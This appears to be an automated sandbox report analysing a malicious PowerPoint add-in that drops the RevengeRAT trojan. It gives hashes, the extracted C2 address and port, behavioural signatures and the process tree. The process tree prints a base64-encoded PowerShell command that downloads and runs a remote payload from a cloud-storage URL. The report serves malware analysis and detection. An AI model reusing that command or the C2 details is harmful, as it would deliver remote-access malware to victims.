Analysis

  • max time kernel
    18s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23-08-2024 05:27

General

  • Target

    -NF 7867-Voucher.ppam

  • Size

    26KB

  • MD5

    3795f414fbb682f1057af0812cae8a71

  • SHA1

    8efdfd15634e16922a06a7e33646a57728fd9e64

  • SHA256

    9e28142248bbb95bf6c66e1b53b080a72e51bdc2072741b401a4450dd51644ab

  • SHA512

    3437cabf703b2ab55121c9112caa02640385ded13630239d0f392e68dd37a9d9437750434ad35f86f7c98da6ee4577b881b8d2bcd8965e9c5eb2e92289ab340a

  • SSDEEP

    384:dXPZzJt2FTlJFNahWgNjCiUDwvRge0BX/Bht5EopLiQKyOsBybZlzU+Oi:VPZ1t29lJFNKXNeiqe0N/d5Dp3KugSi

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\-NF 7867-Voucher.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2948
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3004
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:1900

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1612-0-0x000000002D071000-0x000000002D072000-memory.dmp

      Filesize

      4KB

    • memory/1612-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1612-2-0x000000007205D000-0x0000000072068000-memory.dmp

      Filesize

      44KB

    • memory/1612-3-0x0000000005650000-0x0000000005750000-memory.dmp

      Filesize

      1024KB

    • memory/1612-33-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1612-34-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1612-36-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1612-35-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1612-76-0x000000007205D000-0x0000000072068000-memory.dmp

      Filesize

      44KB

    • memory/1612-40-0x000000007205D000-0x0000000072068000-memory.dmp

      Filesize

      44KB

    • memory/1612-41-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1612-42-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1612-75-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1900-65-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1900-59-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1900-55-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1900-57-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1900-61-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1900-63-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1900-72-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1900-69-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/3004-52-0x00000000024C0000-0x00000000024D8000-memory.dmp

      Filesize

      96KB

    • memory/3004-44-0x00000000024C0000-0x00000000024D8000-memory.dmp

      Filesize

      96KB

    • memory/3004-46-0x00000000024C0000-0x00000000024D8000-memory.dmp

      Filesize

      96KB

    • memory/3004-48-0x00000000024C0000-0x00000000024D8000-memory.dmp

      Filesize

      96KB

    • memory/3004-50-0x00000000024C0000-0x00000000024D8000-memory.dmp

      Filesize

      96KB

    • memory/3004-54-0x00000000024C0000-0x00000000024D8000-memory.dmp

      Filesize

      96KB

    • memory/3004-73-0x00000000001D0000-0x00000000001D9000-memory.dmp

      Filesize

      36KB

    • memory/3004-43-0x00000000024C0000-0x00000000024D8000-memory.dmp

      Filesize

      96KB

    • memory/3004-39-0x00000000051E0000-0x0000000005232000-memory.dmp

      Filesize

      328KB